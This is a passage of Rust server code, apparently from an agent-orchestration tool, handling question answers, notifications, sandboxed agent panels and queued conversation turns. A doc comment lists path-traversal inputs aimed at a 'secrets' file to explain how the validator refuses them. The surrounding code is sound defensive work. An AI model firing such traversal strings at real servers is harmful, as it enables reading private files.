5294        Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
5295        Some(_) => "asker",
5296        None => "nobody",
5297    })
5298}
5299
5300/// `GET /api/questions`.
5301///
5302/// Everything, not just the open ones: an answered question is the record of a
5303/// decision, and the phone is where the operator goes back to check what they
5304/// told an agent at 3am. `ask::Questions::list` already ranks open first.
5305async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
5306    blocking(move || {
5307        Ok(Json(question_views(
5308            ui.questions.list(),
5309            &ui.questions,
5310            || deputy_config(&ui.repo),
5311        )))
5312    })
5313    .await
5314}
5315
5316/// `GET /api/notifications`: not dismissed, newest first, with the unread
5317/// count so the badge and the list cannot disagree.
5318async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
5319    blocking(move || {
5320        let items = ui.notices.list();
5321        let unread = items.iter().filter(|n| n.unread()).count();
5322        Ok(Json(
5323            serde_json::json!({ "unread": unread, "items": items }),
5324        ))
5325    })
5326    .await
5327}
5328
5329fn notice_error(e: anyhow::Error) -> ApiError {
5330    // An unknown or malformed id and a vanished file are the same answer to
5331    // the phone: that notification is gone.
5332    ApiError::not_found(format!("{e:#}"))
5333}
5334
5335/// `POST /api/notifications/{id}/read`.
5336async fn notification_read(
5337    State(ui): State<Arc<Ui>>,
5338    Path(id): Path<String>,
5339) -> ApiResult<Json<Notice>> {
5340    blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
5341}
5342
5343/// `POST /api/notifications/{id}/dismiss`.
5344async fn notification_dismiss(
5345    State(ui): State<Arc<Ui>>,
5346    Path(id): Path<String>,
5347) -> ApiResult<Json<Notice>> {
5348    blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
5349}
5350
5351/// `POST /api/notifications/read-all`.
5352async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
5353    blocking(move || {
5354        let changed = ui.notices.mark_all_read()?;
5355        Ok(Json(serde_json::json!({ "marked": changed })))
5356    })
5357    .await
5358}
5359
5360/// The body of `POST /api/questions/{id}/answer`.
5361///
5362/// Exactly one of the two fields, mirroring `ask::Answer`. Both or neither is
5363/// a bad request rather than a guess: an answer magi invented is worse than a
5364/// question left open.
5365#[derive(Debug, Default, Deserialize)]
5366#[serde(default, deny_unknown_fields)]
5367struct NewAnswer {
5368    choice: Option<String>,
5369    text: Option<String>,
5370}
5371
5372async fn question_answer(
5373    State(ui): State<Arc<Ui>>,
5374    Path(id): Path<String>,
5375    body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
5376) -> ApiResult<Json<QuestionView>> {
5377    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5378    let answer = match (body.choice, body.text) {
5379        (Some(c), None) => Answer::Choice(c),
5380        (None, Some(t)) => Answer::Text(t),
5381        (Some(_), Some(_)) => {
5382            return Err(ApiError::bad_request(
5383                "send either `choice` or `text`, not both",
5384            ));
5385        }
5386        (None, None) => {
5387            return Err(ApiError::bad_request("send a `choice` or a `text`"));
5388        }
5389    };
5390
5391    blocking(move || {
5392        let id = resolve_question(&ui.questions, &id)?;
5393        let q = ui
5394            .questions
5395            .get(&id)
5396            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
5397        if !q.status.open() {
5398            // Answered from the terminal, or by another phone, in between the
5399            // list and the tap. The UI shows the recorded answer rather than an
5400            // error, so it needs the record, not just the status.
5401            return Err(ApiError::conflict(format!(
5402                "question {} is already {}",
5403                q.short(),
5404                q.status.as_str()
5405            )));
5406        }
5407        // `Question::answer` owns the rules - an unoffered choice, free text on
5408        // a multiple-choice question, an empty reply - so the route does not
5409        // restate them and cannot drift from the CLI's behaviour.
5410        let (q, ()) = ui
5411            .questions
5412            .update(&q.id, |r| r.answer(answer))
5413            .map_err(ApiError::bad_request_from)?;
5414        let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
5415        Ok(Json(QuestionView::of(q, &ui.questions, on)))
5416    })
5417    .await
5418}
5419
5420/// The body of `POST /api/questions/{id}/say`.
5421#[derive(Debug, Deserialize)]
5422#[serde(deny_unknown_fields)]
5423struct NewSay {
5424    body: String,
5425}
5426
5427/// `POST /api/questions/{id}/say` - the owner talks back without deciding.
5428///
5429/// Synchronous, unlike `POST /api/talks/{id}/say`: that route spawns an agent
5430/// CLI and waits on it, this one only appends a [`ask::Turn`] and writes the
5431/// file, so there is no turn to serialize against and no
5432/// [`Ui::begin_talk_turn`] guard to take. The agent waiting on this question
5433/// is a *different* process - the run parked behind `magi ask` - and picks
5434/// the reply up on its own poll of the very same file, same as an answer
5435/// does.
5436async fn question_say(
5437    State(ui): State<Arc<Ui>>,
5438    Path(id): Path<String>,
5439    body: std::result::Result<Json<NewSay>, JsonRejection>,
5440) -> ApiResult<Json<QuestionView>> {
5441    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5442    blocking(move || {
5443        let id = resolve_question(&ui.questions, &id)?;
5444        let q = ui
5445            .questions
5446            .get(&id)
5447            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
5448        if !q.status.open() {
5449            // Same granularity as `question_answer`: answered or abandoned in
5450            // between the list and the tap is not this route's error to
5451            // explain any differently.
5452            return Err(ApiError::conflict(format!(
5453                "question {} is already {}",
5454                q.short(),
5455                q.status.as_str()
5456            )));
5457        }
5458        // `Question::say` owns the one rule that matters here - an empty
5459        // message tells the agent nothing - so the route does not restate it.
5460        let (q, ()) = ui
5461            .questions
5462            .update(&q.id, |r| r.say(body.body))
5463            .map_err(ApiError::bad_request_from)?;
5464        let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
5465        Ok(Json(QuestionView::of(q, &ui.questions, on)))
5466    })
5467    .await
5468}
5469
5470/// Expand an id or short id to exactly one question id.
5471fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
5472    if store.path_of(id).is_file() {
5473        return Ok(id.to_owned());
5474    }
5475    pick(
5476        store.list().into_iter().map(|q| q.id).collect(),
5477        id,
5478        "question",
5479    )
5480}
5481
5482/// `GET /api/questions/{id}/panel`.
5483///
5484/// The panel an agent wrote for this question, as `text/html` under
5485/// [`PANEL_CSP`], for the front end to mount in a token-less sandboxed iframe.
5486/// A question without one is a 404 rather than an empty page: the client
5487/// preflights this route with `HEAD` and must be able to tell "no panel" from
5488/// "a panel that rendered blank", and a sandboxed frame is opaque to the
5489/// parent document so it cannot tell the difference by looking.
5490///
5491/// The body is whatever the agent wrote, byte for byte. Nothing here rewrites,
5492/// sanitises or minifies it - a sanitiser is a list of things someone thought
5493/// of, and the sandbox plus the CSP is a list of things that are allowed, which
5494/// is the direction that stays safe when an agent writes markup nobody
5495/// predicted.
5496async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
5497    blocking(move || {
5498        let id = resolve_question(&ui.questions, &id)?;
5499        let Some(html) = ui.questions.panel_html(&id) else {
5500            return Err(ApiError::not_found(format!("question {id} has no panel")));
5501        };
5502        Ok(panel_response(
5503            "text/html; charset=utf-8",
5504            false,
5505            html.into_bytes(),
5506        ))
5507    })
5508    .await
5509}
5510
5511/// `GET /api/questions/{id}/asset/{name}`.
5512///
5513/// One file from the question's own panel directory, so a panel can show a
5514/// diff as an SVG or a screenshot as a PNG without the CSP's `img-src 'self'`
5515/// having to allow anything off this machine.
5516///
5517/// This is the only route in the server where a client names a file, so it is
5518/// the only one with a traversal surface, and the name is checked by
5519/// [`ask::valid_asset_name`] before a path is built from it. Which layer stops
5520/// what is worth being explicit about, because the answer is not "all of it in
5521/// one place":
5522///
5523/// * `asset/../../secrets` never reaches this handler at all. axum matches on
5524///   the raw request path and `{name}` spans exactly one segment, so a real
5525///   slash makes the request too long for the route and the router answers 404.
5526/// * `asset/%2e%2e%2fsecrets` and `asset/..%5csecrets` do reach it: axum
5527///   percent-decodes path parameters, so `name` arrives as `../secrets` and
5528///   `..\secrets` respectively, which look like plain filenames to the router.
5529///   The validator refuses them here - both for the literal `..` and because
5530///   `/` and `\` are not in the permitted character set - and answers 400.
5531/// * A name carrying a NUL (`%00`) decodes to a string Rust is happy with but
5532///   the platform's path API is not, and it is refused here for the same
5533///   reason: NUL is not a permitted character.
5534/// * [`Questions::panel_asset`] validates again on read, so the check is not
5535///   load-bearing in only one place. This route's own check exists so the
5536///   failure is a 400 that says which name was wrong, rather than a store error
5537///   the operator has to interpret.
5538async fn question_asset(
5539    State(ui): State<Arc<Ui>>,
5540    Path((id, name)): Path<(String, String)>,
5541) -> ApiResult<Response> {
5542    // Before any filesystem work and before any path is built: a name this
5543    // server will not serve should not become a `PathBuf` at all.
5544    if !crate::ask::valid_asset_name(&name) {
5545        return Err(ApiError::bad_request(format!(
5546            "`{name}` is not a usable asset name"
5547        )));
5548    }
5549    blocking(move || {
5550        let id = resolve_question(&ui.questions, &id)?;
5551        let asset = ui
5552            .questions
5553            .panel_asset(&id, &name)
5554            .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
5555        let Some(bytes) = asset else {
5556            return Err(ApiError::not_found(format!(
5557                "question {id} has no asset `{name}`"
5558            )));
5559        };
5560        Ok(panel_response(
5561            asset_content_type(&name),
5562            is_svg(&name),
5563            bytes,
5564        ))
5565    })
5566    .await
5567}
5568
5569/// Content type for a panel asset, from a closed whitelist.
5570///
5571/// A whitelist with an `application/octet-stream` fallback rather than a
5572/// guess, because the one answer that must never come out of here is
5573/// `text/html`. An agent that writes `notes.html` into its panel directory and
5574/// links it would otherwise get its own markup rendered at the top level of the
5575/// operator's browser - outside the sandboxed frame, outside [`PANEL_CSP`], on
5576/// magi's origin - which is precisely the thing the panel design exists to
5577/// prevent. Same reasoning for `.js` and `.json`: unlisted means downloaded.
5578///
5579/// `nosniff` accompanies this on every response, so a browser cannot decide it
5580/// knows better than the type we sent.
5581fn asset_content_type(name: &str) -> &'static str {
5582    match extension(name).as_deref() {
5583        Some("png") => "image/png",
5584        Some("jpg" | "jpeg") => "image/jpeg",
5585        Some("gif") => "image/gif",
5586        Some("webp") => "image/webp",
5587        Some("svg") => "image/svg+xml",
5588        Some("css") => "text/css; charset=utf-8",
5589        Some("txt") => "text/plain; charset=utf-8",
5590        _ => "application/octet-stream",
5591    }
5592}
5593
5594/// Is this an SVG, and therefore a file that must never be opened at the top
5595/// level?
5596fn is_svg(name: &str) -> bool {
5597    extension(name).as_deref() == Some("svg")
5598}
5599
5600/// Lowercased extension, or `None` for a name without one.
5601fn extension(name: &str) -> Option<String> {
5602    name.rsplit_once('.')
5603        .map(|(_, ext)| ext.to_ascii_lowercase())
5604}
5605
5606/// Every panel response, with the four headers that make it safe and, for an
5607/// SVG, a fifth.
5608///
5609/// One function rather than a header list per handler, because a panel route
5610/// that forgets [`PANEL_CSP`] is not a cosmetic bug: it is the whole security
5611/// model gone, silently, on one of two routes. Adding a third panel route later
5612/// means calling this, and there is nowhere else to build a panel response.
5613///
5614/// `download` is set for SVG only. An SVG is XML that may carry `<script>`, and
5615/// as an `<img src>` inside the panel that script cannot run - but the asset
5616/// URL is also a plain URL an operator can be talked into opening in a tab,
5617/// where it is a document on magi's own origin. `Content-Disposition:
5618/// attachment` makes the browser download it instead of rendering it, which
5619/// closes that door without taking away the ability to draw a diff. Raster
5620/// images have no such execution surface and are left inline, so tapping a
5621/// screenshot still shows it.
5622fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
5623    let mut res = (
5624        [
5625            (header::CONTENT_TYPE, content_type),
5626            (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
5627            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
5628            (header::REFERRER_POLICY, "no-referrer"),
5629        ],
5630        body,
5631    )
5632        .into_response();
5633    if download {
5634        res.headers_mut().insert(
5635            header::CONTENT_DISPOSITION,
5636            HeaderValue::from_static("attachment"),
5637        );
5638    }
5639    res
5640}
5641
5642/// A talk as the phone reads it.
5643///
5644/// Every field of [`Talk`] verbatim, plus `turn_bodies_md` - one markdown node
5645/// tree per entry of `turns`, in order - parsed server-side so `app.js` never
5646/// parses markdown itself - and the process-local `thinking` hint.
5647#[derive(Debug, Serialize)]
5648struct TalkView {
5649    #[serde(flatten)]
5650    talk: Talk,
5651    turn_bodies_md: Vec<Vec<md::Node>>,
5652    /// Whether [`Ui::begin_talk_turn`] currently holds this talk's turn in
5653    /// this server process.
5654    ///
5655    /// This is deliberately not durable: another server process cannot see
5656    /// it, and a restarted server must not claim an old turn is live. It is a
5657    /// progress hint rather than proof a reply landed; the transcript remains
5658    /// the source of truth for that.
5659    thinking: bool,
5660    /// Context-window usage, derived per request - see
5661    /// [`talk::context_usage`]. Carried on every talk response (list, detail
5662    /// and each mutation) so the phone needs no extra call or polling.
5663    context: talk::ContextUsage,
5664}
5665
5666impl TalkView {
5667    /// Reads the talk's repository config itself; a config that cannot be
5668    /// read leaves the window unknown but never fails the conversation.
5669    fn new(talk: Talk, thinking: bool) -> Self {
5670        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
5671        Self::with_config(talk, thinking, cfg.as_ref())
5672    }
5673
5674    /// As [`Self::new`], with the config already in hand (the list reads one
5675    /// per repository, not one per conversation).
5676    fn with_config(talk: Talk, thinking: bool, cfg: Option<&Config>) -> Self {
5677        let context = talk::context_usage(&talk, cfg);
5678        let turn_bodies_md = talk
5679            .turns
5680            .iter()
5681            .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
5682            .collect();
5683        Self {
5684            turn_bodies_md,
5685            thinking,
5686            context,
5687            talk,
5688        }
5689    }
5690}
5691
5692/// `GET /api/talks/{id}`'s answer: a [`TalkView`] plus the queue tasks this
5693/// conversation has filed, so the phone can follow one from inside the
5694/// conversation that asked for it rather than hunting the Queue for a task id
5695/// it may not remember.
5696#[derive(Debug, Serialize)]
5697struct TalkDetailView {
5698    #[serde(flatten)]
5699    view: TalkView,
5700    tasks: Vec<TaskView>,
5701    /// The agents this talk's repository can switch to; empty when its
5702    /// configuration cannot be read, which must not fail the whole detail.
5703    roster: Vec<RosterEntry>,
5704}
5705
5706/// One roster agent as the talk's agent selector shows it.
5707#[derive(Debug, Serialize)]
5708struct RosterEntry {
5709    id: String,
5710    kind: AgentKind,
5711    /// Whether its CLI is on `PATH`, i.e. whether choosing it can work.
5712    runnable: bool,
5713}
5714
5715/// `GET /api/talks`.
5716///
5717/// Every conversation, open ones first and newest first - [`Talks::list`]'s
5718/// own order.
5719async fn talks_list(
5720    State(ui): State<Arc<Ui>>,
5721    Query(q): Query<ListQuery>,
5722) -> ApiResult<Json<Vec<TalkView>>> {
5723    blocking(move || {
5724        let mut configs: HashMap<PathBuf, Option<Config>> = HashMap::new();
5725        Ok(Json(
5726            ui.talks
5727                .list()
5728                .into_iter()
5729                .filter(|talk| q.contains(&talk.id))
5730                .map(|talk| {
5731                    let thinking = ui.is_thinking(&talk.id);
5732                    let cfg = configs
5733                        .entry(talk.repo.clone())
5734                        .or_insert_with(|| Config::discover(&talk.repo, None).ok().map(|(c, _)| c));
5735                    TalkView::with_config(talk, thinking, cfg.as_ref())
5736                })
5737                .collect(),
5738        ))
5739    })
5740    .await
5741}
5742
5743/// The body of `POST /api/talks`, all of it optional: opening a talk needs no
5744/// message. `repo` defaults to the server's own; `agent` to `[roles] chatter`,
5745/// [`talk::begin`]'s own default. Unknown fields are ignored so a newer front
5746/// end still opens a talk against an older binary.
5747#[derive(Debug, Default, Deserialize)]
5748#[serde(default)]
5749struct NewTalk {
5750    agent: Option<String>,
5751    repo: Option<PathBuf>,
5752}
5753
5754/// `POST /api/talks` - open a conversation. Takes no agent turn: see
5755/// [`talk::begin`]'s doc for why there is nothing yet for one to answer.
5756async fn talk_post(
5757    State(ui): State<Arc<Ui>>,
5758    body: std::result::Result<Json<NewTalk>, JsonRejection>,
5759) -> ApiResult<impl IntoResponse> {
5760    // An absent body, or an empty one, is the normal way to open a talk - see
5761    // `NewTalk`'s doc - so a missing content type is treated the same as `{}`
5762    // rather than refused.
5763    let body = match body {
5764        Ok(Json(body)) => body,
5765        Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
5766        Err(e) => return Err(ApiError::bad_request(e.body_text())),
5767    };
5768    let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
5769    let cfg = config_for(&repo).await?;
5770    let view = blocking(move || {
5771        let talk = talk::begin(&ui.talks, &cfg, repo, body.agent.as_deref())?;
5772        let thinking = ui.is_thinking(&talk.id);
5773        Ok(TalkView::new(talk, thinking))
5774    })
5775    .await?;
5776    Ok((StatusCode::CREATED, Json(view)))
5777}
5778
5779/// `GET /api/talks/{id}`.
5780async fn talk_detail(
5781    State(ui): State<Arc<Ui>>,
5782    Path(id): Path<String>,
5783) -> ApiResult<Json<TalkDetailView>> {
5784    blocking(move || {
5785        let id = resolve_talk(&ui.talks, &id)?;
5786        let talk = ui.talks.get(&id)?;
5787        let thinking = ui.is_thinking(&talk.id);
5788        let tasks = talk::tasks_of(&ui.queue, &talk.id)
5789            .into_iter()
5790            .map(TaskView::from)
5791            .collect();
5792        let roster = Config::discover(&talk.repo, None)
5793            .map(|(cfg, _)| {
5794                cfg.agents
5795                    .iter()
5796                    .map(|a| RosterEntry {
5797                        id: a.id.clone(),
5798                        kind: a.kind,
5799                        runnable: agent::installed(a),
5800                    })
5801                    .collect()
5802            })
5803            .unwrap_or_default();
5804        Ok(Json(TalkDetailView {
5805            view: TalkView::new(talk, thinking),
5806            tasks,
5807            roster,
5808        }))
5809    })
5810    .await
5811}
5812
5813/// The body of `POST /api/talks/{id}/say`.
5814///
5815/// `attachments` names ids `POST /api/talks/{id}/attachments` already
5816/// returned - never bytes of its own - so a turn with no images just omits
5817/// the field, which is what an older front end still does.
5818#[derive(Debug, Default, Deserialize)]
5819#[serde(default, deny_unknown_fields)]
5820struct NewTalkTurn {
5821    text: String,
5822    attachments: Vec<String>,
5823}
5824
5825#[derive(Debug, Deserialize)]
5826#[serde(deny_unknown_fields)]
5827struct EditTalkPending {
5828    text: String,
5829    expected_text: String,
5830    expected_attachments: Vec<String>,
5831}
5832
5833#[derive(Debug, Deserialize)]
5834#[serde(deny_unknown_fields)]
5835struct ClearTalkPending {
5836    expected_text: String,
5837    expected_attachments: Vec<String>,
5838}
5839
5840/// `POST /api/talks/{id}/say` - one turn of the conversation.
5841///
5842/// Not filesystem work, and therefore not routed through [`blocking`]: this
5843/// route spawns an agent CLI and a turn here can run for the whole of
5844/// [`crate::config::Graph::timeout_talk`] - an hour by default - because a
5845/// research turn is expected to run commands rather than answer from what it
5846/// already knows. Holding an HTTP connection open that long is not a thing
5847/// to ask a phone to do; the operator's message is recorded and answered for
5848/// immediately, and the reply lands in the background, discovered through
5849/// the change stream's `talks_rev` the same way every other update on this
5850/// surface is.
5851async fn talk_say(
5852    State(ui): State<Arc<Ui>>,
5853    Path(id): Path<String>,
5854    body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
5855) -> ApiResult<(StatusCode, Json<TalkView>)> {
5856    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5857    if body.text.trim().is_empty() && body.attachments.is_empty() {
5858        return Err(ApiError::bad_request("say something"));
5859    }
5860
5861    let id = {
5862        let ui = Arc::clone(&ui);
5863        let asked = id.clone();
5864        blocking(move || resolve_talk(&ui.talks, &asked)).await?
5865    };
5866    // A closed Talk never accepts a new immediate or queued turn. Check this
5867    // before claiming a slot so its ordinary domain refusal is a 409, not an
5868    // incidental failure from the later record/queue write.
5869    {
5870        let ui = Arc::clone(&ui);
5871        let id = id.clone();
5872        blocking(move || {
5873            let talk = ui.talks.get(&id)?;
5874            if !talk.status.open() {
5875                return Err(ApiError::conflict(format!(
5876                    "talk {} is {} and takes no more turns",
5877                    talk.short(),
5878                    talk.status.as_str()
5879                )));
5880            }
5881            Ok(())
5882        })
5883        .await?;
5884    }
5885
5886    // Every attachment id resolved to the metadata `talk::record`/`talk::queue`
5887    // actually stores, before anything is written - an unknown id is a 4xx
5888    // that names it rather than a turn (or a queued draft) silently missing
5889    // an image.
5890    let attachments = {
5891        let ui = Arc::clone(&ui);
5892        let id = id.clone();
5893        let ids = body.attachments.clone();
5894        blocking(move || {
5895            ids.into_iter()
5896                .map(|att_id| {
5897                    ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
5898                        ApiError::bad_request(format!("unknown attachment `{att_id}`"))
5899                    })
5900                })
5901                .collect::<ApiResult<Vec<talk::Attachment>>>()
5902        })
5903        .await?
5904    };
5905
5906    // Pending recovery and a new immediate turn are decided under the same
5907    // claim lock. Without that one critical section, a second `/say` can see
5908    // the first request's claim as "busy" and append itself to the recovered
5909    // draft before the first request rejects it.
5910    let start = {
5911        let ui = Arc::clone(&ui);
5912        let id = id.clone();
5913        blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
5914    };
5915    let turn_guard = match start {
5916        TalkTurnStart::Claimed(turn_guard) => turn_guard,
5917        TalkTurnStart::Pending => {
5918            return Err(ApiError::conflict(
5919                "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
5920            ));
5921        }
5922        TalkTurnStart::Busy => {
5923            // A turn is already running: queue rather than refuse. See
5924            // `Ui::begin_talk_turn` and `talk::queue`.
5925            //
5926            // The queue write and the drain it may owe live inside the task
5927            // `tokio::spawn` hands to the runtime, for the same reason the
5928            // immediate path below puts `record` there: a dropped handler
5929            // future must not be able to land between a durable write and
5930            // the task that answers it. `blocking` runs its closure on
5931            // `spawn_blocking`, which finishes whether or not anyone is left
5932            // to receive its result - so a disconnect at the `.await` below
5933            // would otherwise leave the draft persisted and the reclaimed
5934            // `TalkTurnGuard` dropped on the floor, with no `drain_loop`
5935            // ever started and the queued text stranded until some later
5936            // `say` happened to pick it up. The caller's 202 travels back
5937            // over a `oneshot`, sent the moment the write lands.
5938            let (tx, rx) = tokio::sync::oneshot::channel();
5939            tokio::spawn({
5940                let ui = Arc::clone(&ui);
5941                let id = id.clone();
5942                let said = body.text.clone();
5943                async move {
5944                    let written = blocking({
5945                        let ui = Arc::clone(&ui);
5946                        let id = id.clone();
5947                        move || {
5948                            let mut talk = ui.talks.get(&id)?;
5949                            // A test-only stop point, right before the write
5950                            // an interleaving test needs to pin - see
5951                            // `BusyQueueGate`. `None` in every real server:
5952                            // the field only exists under `#[cfg(test)]`.
5953                            #[cfg(test)]
5954                            if let Some(gate) = ui
5955                                .busy_queue_gate
5956                                .lock()
5957                                .unwrap_or_else(PoisonError::into_inner)
5958                                .take()
5959                            {
5960                                let _ = gate.reached.send(());
5961                                let _ = gate.release.recv();
5962                            }
5963                            if let Err(error) =
5964                                talk::queue(&mut talk, &ui.talks, &said, attachments)
5965                            {
5966                                if let Ok(fresh) = ui.talks.get(&id) {
5967                                    if !fresh.status.open() {
5968                                        return Err(ApiError::conflict(format!(
5969                                            "talk {} is {} and takes no more turns",
5970                                            fresh.short(),
5971                                            fresh.status.as_str()
5972                                        )));
5973                                    }
5974                                }
5975                                return Err(ApiError::from(error));
5976                            }
5977                            // The turn that looked busy a moment ago can have
5978                            // finished, found nothing to drain and given up the
5979                            // slot in the gap between that check and this write
5980                            // landing - see `drain_loop`'s own doc for the other
5981                            // half of why that gap would otherwise be able to
5982                            // open at all. Reclaiming the slot here, rather than
5983                            // trusting that whoever held it is still watching, is
5984                            // what stops the text just queued from being stranded
5985                            // until an unrelated future `say` happens to drain
5986                            // it.
5987                            let claim = match ui.begin_queued_talk_turn(&id)? {
5988                                Some(turn_guard) => {
5989                                    let (cfg, _) = Config::discover(&talk.repo, None)?;
5990                                    Some((talk.clone(), cfg, turn_guard))
5991                                }
5992                                None => None,
5993                            };
5994                            let thinking = ui.is_thinking(&id);
5995                            Ok((TalkView::new(talk, thinking), claim))
5996                        }
5997                    })
5998                    .await;
5999                    let (view, reclaimed) = match written {
6000                        Ok(pair) => pair,
6001                        Err(e) => {
6002                            // Nobody is listening if the handler's own future
6003                            // was already dropped - that is fine, nothing was
6004                            // persisted and there is no response left to carry
6005                            // this error to.
6006                            let _ = tx.send(Err(e));
6007                            return;
6008                        }
6009                    };
6010                    // If this fails, the caller is gone; the drain below still
6011                    // runs exactly as it would have for a caller that stayed.
6012                    let _ = tx.send(Ok(view));
6013                    if let Some((talk, cfg, turn_guard)) = reclaimed {
6014                        let talks = ui.talks.clone();
6015                        drain_loop(talk, talks, cfg, id, turn_guard).await;
6016                    }
6017                }
6018            });
6019            let view = rx
6020                .await
6021                .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
6022            return Ok((StatusCode::ACCEPTED, Json(view)));
6023        }
6024    };
6025
6026    let (talk, cfg) = {
6027        let ui = Arc::clone(&ui);
6028        let id = id.clone();
6029        blocking(move || {
6030            let talk = ui.talks.get(&id)?;
6031            let (cfg, _) = Config::discover(&talk.repo, None)?;
6032            Ok((talk, cfg))
6033        })
6034        .await?
6035    };
6036
6037    let talks = ui.talks.clone();
6038    // `record` runs *inside* the spawned task, rather than in this handler
6039    // followed by a separate `tokio::spawn` for `respond` - axum drops this
6040    // whole handler future outright on disconnect (see `TalkTurnGuard`'s
6041    // doc), and that drop can land at any `.await` this function makes,
6042    // including one that has already produced its result but not yet
6043    // resumed. A message could end up recorded on disk with the handler
6044    // future gone before it ever reached the `tokio::spawn` that would have
6045    // started the reply. `tokio::spawn` itself is a plain, synchronous call
6046    // that hands the whole future to the runtime as one unit - once made, no
6047    // later drop of *this* handler's own future (that call's return value is
6048    // never held onto here) can reach back in and stop it, so record and the
6049    // hand-off to `respond` are unconditionally atomic from the client's
6050    // point of view. The immediate response this handler owes the caller
6051    // travels back over a `oneshot`, sent the moment `record` succeeds.
6052    let (tx, rx) = tokio::sync::oneshot::channel();
6053    tokio::spawn({
6054        let ui = Arc::clone(&ui);
6055        let talks = talks.clone();
6056        let id = id.clone();
6057        let said = body.text.clone();
6058        let mut talk = talk.clone();
6059        async move {
6060            let recorded = blocking({
6061                let talks = talks.clone();
6062                move || {
6063                    if let Err(error) = talk::record(&mut talk, &talks, &said, attachments) {
6064                        if let Ok(fresh) = talks.get(&talk.id) {
6065                            if !fresh.status.open() {
6066                                return Err(ApiError::conflict(format!(
6067                                    "talk {} is {} and takes no more turns",
6068                                    fresh.short(),
6069                                    fresh.status.as_str()
6070                                )));
6071                            }
6072                        }
6073                        return Err(ApiError::from(error));
6074                    }
6075                    // `record` mutates `talk` in place to the freshly persisted
6076                    // state (status, pending, and the just-appended operator
6077                    // turn), so returning it here is equivalent to re-reading it
6078                    // from disk - without the extra round trip a re-read would
6079                    // need.
6080                    Ok((said.trim().to_owned(), talk))
6081                }
6082            })
6083            .await;
6084            let (text, mut talk) = match recorded {
6085                Ok(pair) => pair,
6086                Err(e) => {
6087                    // Nobody is listening if the handler's own future was
6088                    // already dropped - that is fine, there is no response
6089                    // left to carry this error to and nothing was persisted.
6090                    let _ = tx.send(Err(e));
6091                    return;
6092                }
6093            };
6094            let queued = talk.clone();
6095            let thinking = ui.is_thinking(&id);
6096            // If this fails, the caller is gone; the turn still runs below
6097            // exactly as it would have for a caller that stayed connected.
6098            let _ = tx.send(Ok((queued, thinking)));
6099
6100            if let Err(e) = talk::respond(&mut talk, &talks, &cfg, &text).await {
6101                // `respond` records the failure in the transcript itself,
6102                // which is what the phone reads; this line is for the
6103                // operator's terminal.
6104                tracing::warn!("talk {id} turn failed: {e:#}");
6105            }
6106            // Anything `talk::queue` added while the turn above was running
6107            // is still owed an answer - see `drain_loop`.
6108            drain_loop(talk, talks, cfg, id, turn_guard).await;
6109        }
6110    });
6111
6112    let (queued, thinking) = rx
6113        .await
6114        .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
6115
6116    // 202: the operator's message is recorded and a turn is running.
6117    Ok((StatusCode::ACCEPTED, Json(TalkView::new(queued, thinking))))
6118}
6119
6120/// `POST /api/talks/{id}/pending/resume` promotes a persisted draft without
6121/// changing it. The turn guard is the same per-talk ownership `talk_say`
6122/// holds, so duplicate recovery clicks cannot resume the CLI session twice.
6123async fn talk_pending_resume(
6124    State(ui): State<Arc<Ui>>,
6125    Path(id): Path<String>,
6126) -> ApiResult<(StatusCode, Json<TalkView>)> {
6127    let id = {
6128        let ui = Arc::clone(&ui);
6129        let asked = id.clone();
6130        blocking(move || resolve_talk(&ui.talks, &asked)).await?
6131    };
6132    let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
6133        return Err(ApiError::conflict(
6134            "a talk turn is already running; the queued draft will be handled by it",
6135        ));
6136    };
6137    let (talk, cfg) = {
6138        let ui = Arc::clone(&ui);
6139        let id = id.clone();
6140        blocking(move || {
6141            let talk = ui.talks.get(&id)?;
6142            if !talk.status.open() {
6143                return Err(ApiError::conflict(format!(
6144                    "talk {} is {} and takes no more turns",
6145                    talk.short(),
6146                    talk.status.as_str()
6147                )));
6148            }
6149            if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
6150                return Err(ApiError::conflict("there is no queued draft to resume"));
6151            }
6152            let (cfg, _) = Config::discover(&talk.repo, None)?;
6153            Ok((talk, cfg))
6154        })
6155        .await?
6156    };
6157    let view = TalkView::new(talk.clone(), true);
6158    let talks = ui.talks.clone();
6159    tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6160    Ok((StatusCode::ACCEPTED, Json(view)))
6161}
6162
6163/// Drain [`talk::Talk::pending`] one turn at a time until nothing is left,
6164/// releasing `turn` only once a check finds it truly empty. Shared by both
6165/// callers that can end up owning a talk's turn slot with something already
6166/// queued for it: `talk_say`'s normal path, after its own `talk::respond`
